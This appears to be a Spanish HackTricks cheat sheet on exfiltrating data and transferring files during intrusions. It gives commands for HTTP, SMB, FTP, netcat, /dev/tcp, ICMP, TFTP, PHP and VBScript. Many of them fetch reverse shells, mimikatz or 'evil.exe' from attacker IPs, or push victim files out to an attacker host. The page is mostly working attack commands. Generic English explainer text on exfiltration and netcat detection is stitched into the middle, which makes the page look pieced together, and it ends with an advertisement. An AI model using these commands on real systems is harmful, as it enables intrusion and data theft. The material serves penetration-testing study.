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Exfiltración

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Dominios comúnmente permitidos para exfiltrar información

Consulta https://lots-project.com/ para encontrar dominios comúnmente permitidos que pueden ser abusados

Copiar y Pegar Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Subir archivos

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Servidor FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Cliente de Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

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SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

O crear un recurso compartido smb utilizando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Introduction

Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox or Google Drive to exfiltrate data.

Techniques

Command and Control (C2) Channels

C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected.

DNS Exfiltration

DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls that may not inspect DNS traffic.

Cloud Storage Exfiltration

Attackers can leverage cloud storage services like Dropbox or Google Drive to exfiltrate data from a target system. By uploading data to these services, attackers can easily retrieve the data from anywhere with an internet connection.

Tools and Resources

There are various tools and resources available to facilitate data exfiltration, such as:

  • Cobalt Strike: A popular tool used by red teamers and attackers for post-exploitation activities, including data exfiltration.
  • PowerShell Empire: An open-source post-exploitation framework that includes modules for data exfiltration.
  • Cloud Storage Services: Legitimate cloud storage services like Dropbox, Google Drive, and OneDrive can be used for exfiltrating data.
  • Custom Scripts: Attackers can develop custom scripts to exfiltrate data based on their specific requirements.

Conclusion

Exfiltration is a critical phase of the cyber attack lifecycle, allowing attackers to steal valuable data from target systems. By understanding the various exfiltration techniques and leveraging appropriate tools and resources, security professionals can better defend against data exfiltration attempts.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

El atacante debe tener SSHd en ejecución.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima al atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Description

Netcat (nc) is a versatile networking utility that can be used for various purposes, including transferring files, port scanning, banner grabbing, and creating reverse shells. It operates by establishing a connection between a client and a server, allowing for data transfer between the two endpoints. Netcat is commonly used by hackers and penetration testers for exfiltrating data from a target network.

Detection

Detection of Netcat usage can be challenging due to its versatility and the fact that it is a legitimate tool used by system administrators for various network-related tasks. Monitoring network traffic for suspicious connections or unexpected data transfers may help in detecting potential misuse of Netcat.

Prevention

To prevent unauthorized use of Netcat within a network, access controls should be implemented to restrict its usage to authorized personnel only. Regularly monitoring network traffic and conducting security audits can also help in identifying any unauthorized use of Netcat. Additionally, implementing network segmentation and strong firewall rules can limit the potential impact of Netcat usage for exfiltration purposes.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Descargar archivo desde la víctima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Subir archivo a la víctima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Gracias a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)

En Kali, iniciar el servidor TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP en python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

En víctima, conectarse al servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Descarga un archivo con un PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Víctima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es utilizar el programa debug.exe. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimal. Entonces la idea es tomar binarios, como netcat. Y luego desensamblarlo en hexadecimal, pegarlo en un archivo en la máquina comprometida, y luego ensamblarlo con debug.exe.

Debug.exe solo puede ensamblar 64 kb. Por lo tanto, necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo:

upx -9 nc.exe

Ahora solo pesa 29 kb. Perfecto. Así que ahora vamos a desmontarlo:

wine exe2bat.exe nc.exe nc.txt

DNS

Ahora simplemente copiamos y pegamos el texto en nuestra ventana de comandos de Windows. Y automáticamente creará un archivo llamado nc.exe

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: